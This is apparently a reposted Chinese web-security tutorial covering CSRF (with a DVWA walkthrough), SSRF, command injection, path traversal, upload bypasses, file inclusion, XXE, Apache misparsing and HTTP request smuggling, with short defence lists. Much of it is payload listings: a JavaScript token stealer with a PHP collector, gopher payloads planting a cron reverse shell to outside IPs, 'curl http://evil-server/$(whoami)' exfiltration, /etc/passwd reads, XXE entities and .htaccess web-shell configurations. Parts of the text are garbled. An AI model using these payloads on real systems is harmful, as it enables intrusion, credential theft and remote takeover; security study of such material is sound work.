赞
踩
本文省略了SQL注入和xss漏洞,需要的可以网上找资料,资料非常多
跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
1.目标用户已经登录了网站,能够执行网站的功能
2.目标用户访问了攻击者构造的URL
资源包含是在大多数介绍CSRF概念的演示或基础课程中可能看到的类型。
这种类型归结为控制HTML标签(例如、、、、
通常在正确使用安全的请求方式时看到。
攻击者创建一个想要受害者提交的表单;
其包含一个JavaScript片段,强制受害者的浏览器提交。
该表单可以完全由隐藏的元素(例如hidden属性的input)组成,以致受害者很难发现它。
如果处理cookies不当,攻击者可以在任何站点上发动攻击,
只要受害者使用有效的cookie登录,攻击就会成功。
如果请求是有目的性的,成功的攻击将使受害者回到他们平时正常的页面
该方法对于攻击者可以将受害者指向特定页面的网络钓鱼攻击特别有效(盗取qq密码的实现过程)。
XMLHttpRequest可能是最少看到的方式,由于许多现代Web应用程序依赖XHR,许多应用花费大量的时间来构建和实现这一特定的对策。
基于XHR的CSRF通常由,于SOP而以XSS有效载荷的形式出现。没有跨域资源共享策略 (Cross-Origin Resource Sharing, CORS)
XHR仅限于攻击者托管自己的有效载荷的原始请求。
这种类型的CSRF的攻击有效载荷基本上是一个标准的XHR,攻击者已经找到了一些注入受害者浏览器DOM的方式。
图片加载有问题,需要学习案例和深入理解的朋友可以跳转我的另一篇文章,
https://blog.csdn.net/qq_62708558/article/details/124237639?spm=1001.2014.3001.5501
为了尽可能地模拟真实地CSRF漏洞利用,我们先假定这样一种情况,本界面是在用户A登录后的某合法网站,可能是社交,可能是银行网站。用户A已经提交了账号密码进入了本站点。这是他修改密码地界面。
这时候我是黑客HackB,想要窃取他在这个合法网站上的账号。这就是本题目所假定地情况。
我们先在自己的修改密码的站点测试一下。
发现本界面是直接用GET请求来修改的账户密码。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e3e7YkYJ-1653288263418)(https://gitee.com/sanmuforrest/images/raw/master/image/1644653327.png)]
那就比较简单了,黑客B就伪造了这样了的一个urlhttp://192.168.235.130/DVWA-master/vulnerabilities/csrf/?password_new=abcdef&password_conf=abcdef&Change=Change#
这个url中的地址为用户A的地址。只要用户A自己点击了这个url,那么A的密码就会修改为HackB想要修改的密码,abcdef。但是这个url有点过于明显了。用户A可能稍微警觉一点就不会点。所以我们可以用短链接伪装一下。
http://45.runchang.top/短链接转换网站
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c3gfs6Vr-1653288263418)(https://gitee.com/sanmuforrest/images/raw/master/image/1644653949(1)].png)
甚至还可以再伪装一下点这里
放在一个可能吸引到用户A的地方,如用户A看得到的某论坛等,而此时用户A的cookie也还没过期,那一点击这个url,我们的攻击就成功了。
点击后
显示为404,但是已经没用了用户A的密码已经被改了,而用户A这个时候还不一定知道。
此时网站加强了防御,加上了对referer字段的验证。也就是http报文段的referer字段需要再同域名下,这个时候HackB就不能将上面那个url放在任何地方了,他需要在同网站下放入那个超链接,并且吸引用户A点击。
查看关键源代码
if( isset( $_GET[ ‘Change’ ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) {
// Get input
$pass_new = $_GET[ ‘password_new’ ];
$pass_conf = $_GET[ ‘password_conf’ ];
HTTP_REFERER是Referer参数值,即来源地址
SERVER_NAME是host参数及主机ip名(我这里是192.168.1.102)
【 注:在php语言中int eregi(string pattern, string string),译为
检查string函数中是否含有pattern,如果有返回True,反之False。】
因此,此句是判断HTTP_REFERER中是否包含SERVER_NAME
我们写一个html文件,和low难度的那个文件内容相同:
<·img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/>
<·h1>404<·h1>
<·h2>file not found.<h2·>
写好后将其命名为ip地址.html格式,如:192.168.1.102.html
然后将其放在网页根目录WWW的DVWA文件中
然后我们打开burp suite,对csrf界面抓一次包,发送至repeater,将Referer地址改为http://攻击者服务器地址/dvwa/被攻击ip地址.html格式,如图
方法二:
将攻击页面名称改为用户主机名202.100.10.129.html (攻击页面放在攻击者自己的服务器里,202.100.10.130/202.100.10.129html),当用户不小心点到这个页面时,会自动执行以下脚本,用途就是更改密码。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FLruD9Pp-1653288263419)(C:\Users\asus\AppData\Roaming\Typora\typora-user-images\image-20220418142915976.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FTLT4oWv-1653288263420)(C:\Users\asus\AppData\Roaming\Typora\typora-user-images\image-20220418142931814.png)]
其实也是反射型xss利用的一个实例
high难度采用了新机制,也就是对token进行验证,关于token我的博客有介绍:session、cookie和token的区别 - 三木森林 - 博客园 (cnblogs.com)所以我们必须要先拿到用户A的token。
那么在这个时候得连同xss漏洞连同使用。
思路是这样的,构造一个带链接的恶意脚本放置于网站内部,而且要用容易触发的事件触发器(前提是该站点是有XSS漏洞的)。
首先,假如我们在本网站下找到了一个XSS漏洞点(DVWA站点下的low难度的XSS(Reflected),是一个搜索输入信息的点),然后构造我们的XSS语句
该语句要调用我们存储在我们的恶意服务器上的JS文件,我们先将其写出来
//hacker.js代码
var img = new Image();
img.src = "http://192.168.235.130/hack.php?q="+frames[0].document.getElementsByName(‘user_token’)[0].value;
document.body.append(img);
这个js代码我们是存储在恶意服务器上的http://192.168.235.130/hackr.js
再构造我们的恶意url,这个url在用户点击之后就会执行我们利用XSS的恶意脚本。
http://192.168.235.130/DVWA-master/vulnerabilities/xss_r/?name=<script src="http://192.168.235.130/hackr.js"></script>#
该js文件会对恶意服务器发送请求,并传送相应参数,这是恶意服务器端后台代码,存储在http://192.168.235.130/hack.php
位置
<?php
$token = $_GET['q'];
var_dump($token);
$myfile = "token.txt";
file_put_contents($myFile,$token);
?>
然后我们再伪装一下上面那个url就可以,或是换成短链接或者什么的。就可以完成以上步骤了。
注:hacke.php和hacker.js是我们自己写的文件
在完成上述步骤,最后会在服务器端生成一个token文件,里面的token就是我们需要的token。拿到了token我们就需要可以带上token用meidum难度的方法进行CSRF攻击了。
通过CSRF-token或者验证码来检测用户提交
验证 Referer/Content-Type
对于用户修改删除等操作最好都使用POST操作
避免全站通用的Cookie,严格设置Cookie的域
1.验证请求里面的Referer头,该头表示你是从哪个页面到这个页面来的,如果不是指定页面的话就有可能是CSRF攻击,但是该方法不太安全,可有多种方式进行绕过
2.在请求中放入攻击者不能伪造的信息,比如可以在HTTP请求中以参数的形式加入一个随机产生的令牌,并在服务器端验证这个令牌,如果令牌不正确甚至没有,则认为这个请求是CSRF的
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。
内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。
SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用和绕过方式。
以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:
curl -vvv 'dict://127.0.0.1:6379/info'
curl -vvv 'file:///etc/passwd'
# * 注意: 链接使用单引号,避免$变量问题
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents()
/ fsockopen()
/ curl_exec()
等。
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:
另外IP中的每一位,各个进制可以混用。
访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。
如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。
另外 xip.io
提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
比如 http://www.baidu.com@192.168.0.1/
当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。
可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。
常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。
如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。
比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file
这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。
例如我们可以通过 `file:///d:/1.txt` 来访问D盘中1.txt的内容。
一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::]
0000::1
或IPv6的内网域名来绕过过滤
一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
和 example.com
等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩
等字符绕过内网限制。
Apache Hadoop远程命令执行 axis2-admin部署Server命令执行 Confluence SSRF counchdb WEB API远程命令执行 dict docker API远程命令执行 Elasticsearch引擎Groovy脚本命令执行 ftp / ftps(FTP爆破) glassfish任意文件读取和war文件部署间接命令执行 gopher HFS远程命令执行 http、https imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码) Java调试接口命令执行 JBOSS远程Invoker war命令执行 Jenkins Scripts接口命令执行 ldap mongodb php_fpm/fastcgi 命令执行 rtsp - smb/smbs(连接SMB) sftp ShellShock 命令执行 Struts2 命令执行 telnet tftp(UDP协议扩展) tomcat命令执行 WebDav PUT上传任意文件 WebSphere Admin可部署war间接命令执行 zentoPMS远程命令执行
命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。
该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。
||
&&
&
分割|
管道符\r\n
%d0%a0
换行$()
替换bash反弹shell
DNS带外数据
http带外
curl http://evil-server/$(whoami)``wget http://evil-server/$(whoami)
无带外时利用 sleep
或其他逻辑构造布尔条件
<
符号 cat<123
\t
/ %09
${IFS}
其中{}用来截断,比如cat
I
F
S
2
会
被
认
为
I
F
S
2
是
变
量
名
。
另
外
,
在
后
面
加
个
IFS2会被认为IFS2是变量名。另外,在后面加个
IFS2会被认为IFS2是变量名。另外,在后面加个可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串a=l;b=s;$a$b
echo "bHM=" | base64 -d
/?in/?s
=> /bin/ls
cat /etc/pass'w'd
cat$x /etc/passwd
>wget\
>foo.\
>com
ls -t>a
sh a
上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件
%0a
/ %0d
/ \n
/ \r
;
&
/ &&
*
0到无穷个任意字符?
一个任意字符[ ]
一个在括号内的字符,e.g. [abcd]
[ - ]
在编码顺序内的所有字符[^ ]
一个不在括号内的字符不使用时禁用相应函数
尽量不要执行外部的应用程序或命令
做输入的格式检查
转义命令中的所有shell元字符
shell元字符包括 #&;
,|*?~<>^()[]{}$`
目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../
等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。
../
..\
..;/
https://vuln.site.com/files../
\\localhost\c$\windows\win.ini
单次替换
...//
URL编码
16位Unicode编码
\u002e
超长UTF-8编码
\%e0%40%ae
在进行文件操作相关的API前,应该对用户输入做过滤。较强的规则下可以使用白名单,仅允许纯字母或数字字符等。
若规则允许的字符较多,最好使用当前操作系统路径规范化函数规范化路径后,进行过滤,最后再进行相关调用。
考虑读取可能有敏感信息的文件
用户目录下的敏感文件
应用的配置文件
应用的日志文件
站点目录下的敏感文件
特殊的备份文件
Python的Cache
__pycache__\__init__.cpython-35.pyc
有的站点仅仅在前端检测了文件类型,这种类型的检测可以直接修改网络请求绕过。 同样的,有的站点在后端仅检查了HTTP Header中的信息,比如 Content-Type
等,这种检查同样可以通过修改网络请求绕过。
有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示
类型 | 二进制值 |
---|---|
JPG | FF D8 FF E0 00 10 4A 46 49 46 |
GIF | 47 49 46 38 39 61 |
PNG | 89 50 4E 47 |
TIF | 49 49 2A 00 |
BMP | 42 4D |
部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。
php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/
的后缀,如 php
/ php5
/ pht
/ phtml
/ shtml
/ pwml
/ phtm
等 可在禁止上传php文件时测试该类型。
jsp引擎则可能会解析 jspx
/ jspf
/ jspa
/ jsw
/ jsv
/ jtml
等后缀,asp支持 asa
/ asax
/ cer
/ cdx
/ aspx
/ ascx
/ ashx
/ asmx
/ asp{80-90}
等后缀。
除了这些绕过,其他的后缀同样可能带来问题,如 vbs
/ asis
/ sh
/ reg
/ cgi
/ exe
/ dll
/ com
/ bat
/ pl
/ cfc
/ cfm
/ ini
等。
在Windows系统中,上传 index.php.
会重命名为 .
,可以绕过后缀检查。 也可尝试 index.php%20
, index.php:1.jpg
index.php::$DATA
等。 在Linux系统中,可以尝试上传名为 index.php/.
或 ./aa/../index.php/.
的文件
在php执行的过程中,除了主 php.ini
之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini
中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini
加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif
有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。
另外,Waf和Web系统对 boundary
的处理不一致,可以使用错误的 boundary
来完成绕过。
有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。
Apache可根据是否允许重定向考虑上传.htaccess
内容为
AddType application/x-httpd-php .png
php_flag engine 1
就可以用png或者其他后缀的文件做php脚本了
上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件 若服务器没有做好防护,可实现任意文件读取的效果
常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>
直接转发方式进行[SFM]本地文件包含【straight forward method】
考虑常用的几种包含方式为
file=.htaccess
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/log/apache/error.log
/proc/self/environ
其中日志可以使用SSH日志或者Web日志等多种日志来源测试
php
include
在包含过程中出错会报错,不影响执行后续语句
include_once
仅包含一次
require
在包含过程中出错,就会直接退出,不执行后续语句
require_once
常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式
如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过
?
*
等?
#
可能会影响include包含的结果几乎是最常用的方法,条件是 magic_quotes_gpc
关闭,而且php版本小于5.3.4。
Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
msdn定义 #define MAX_PATH 260
,其中第260个字符为字符串结尾的 \0
,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。
获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,././././
(n个) 的形式就可以通过这个把路径爆掉
在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
allow_url_fopen=On
且 allow_url_include=On
, payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
的形式allow_url_include=On
,payload为 ?file=php://input
的形式?file=php://filter/convert.base64-encode/resource=index.php
的形式?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
的形式,要求 allow_url_include=On
allow_url_fopen
和 allow_url_include
主要是针对 http
ftp
两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。
XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制
XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。
除了可选的开头外,XML 语法主要有以下的特性:
另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。
当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>
中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。
test.php.x1.x2.x3
( x1,x2,x3 为没有在 mime.types 文件中定义的文件类型)。Apache 将从右往左开始判断后缀, 若x3为非可识别后缀,则判断x2,直到找到可识别后缀为止,然后对可识别后缀进行解析
什么内容用什么形式来显示呢?答案是 MIME Type, 也就是该资源的媒体类型
针对目录改配置
当AllowOverride被启用时,上传启用解析规则的.htaccess
AddType application/x-httpd-php .jpg
php_value auto_append_file .htaccess
#<?php phpinfo();
Options ExecCGI
AddHandler cgi-script .jpg
Options +ExecCGI
AddHandler fcgid-script .gif
FcgidWrapper "/bin/bash" .gif
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://evil.com/evil-code.txt
配置 Options +Indexes
时Apache存在目录遍历漏洞。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AQJK6Epp-1653288263421)(C:\Users\asus\AppData\Roaming\Typora\typora-user-images\image-20220507112033012.png)]
防御
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2n9YNVuN-1653288263422)(C:\Users\asus\AppData\Roaming\Typora\typora-user-images\image-20220507112101912.png)]
%0A
绕过上传黑名单。
漏洞原理
此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略。
xx.jpg/xx.php
在服务器文件的目录下简历文件夹后缀名.php
内目内的所有文件都会被当成php文件解析
HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术,最早在 2005 年的一篇 文章 中被提出。
请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-Length
和 Transfer-Encoding
标头。
Content-Length
头,后端服务器使用 Transfer-Encoding
头Transfer-Encoding
标头,后端服务器使用 Content-Length
标头。Transfer-Encoding
标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length
头,不进行处理。例如下面这个例子:
GET / HTTP/1.1
Host: example.com
Content-Length: 44
GET /secret HTTP/1.1
Host: example.com
前端服务器处理了 Content-Length
,而后端服务器没有处理 Content-Length
,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。
根据RFC 7230,当服务器收到的请求中包含两个 Content-Length
,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length
值时,就会出现漏洞。例如:
POST / HTTP/1.1
Host: example.com
Content-Length: 8
Content-Length: 7
12345
a
这个例子中a就会被带入下一个请求,变为 aGET / HTTP/
。
CL-TE指前端服务器处理 Content-Length
这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length
,处理 Transfer-Encoding
。例如:
POST / HTTP/1.1
Host: example.com
...
Connection: keep-alive
Content-Length: 6
Transfer-Encoding: chunked
0
a
这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n
。
TE-CL指前端服务器处理 Transfer-Encoding
请求头,而后端服务器处理 Content-Length
请求头。例如:
POST / HTTP/1.1
Host: example.com
...
Content-Length: 4
Transfer-Encoding: chunked
12
aPOST / HTTP/1.1
0
TE-TE指前后端服务器都处理 Transfer-Encoding
请求头,但是在容错性上表现不同,例如有的服务器可能会处理 Transfer-encoding
,测试例如:
POST / HTTP/1.1
Host: example.com
...
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
aPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
案例
因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。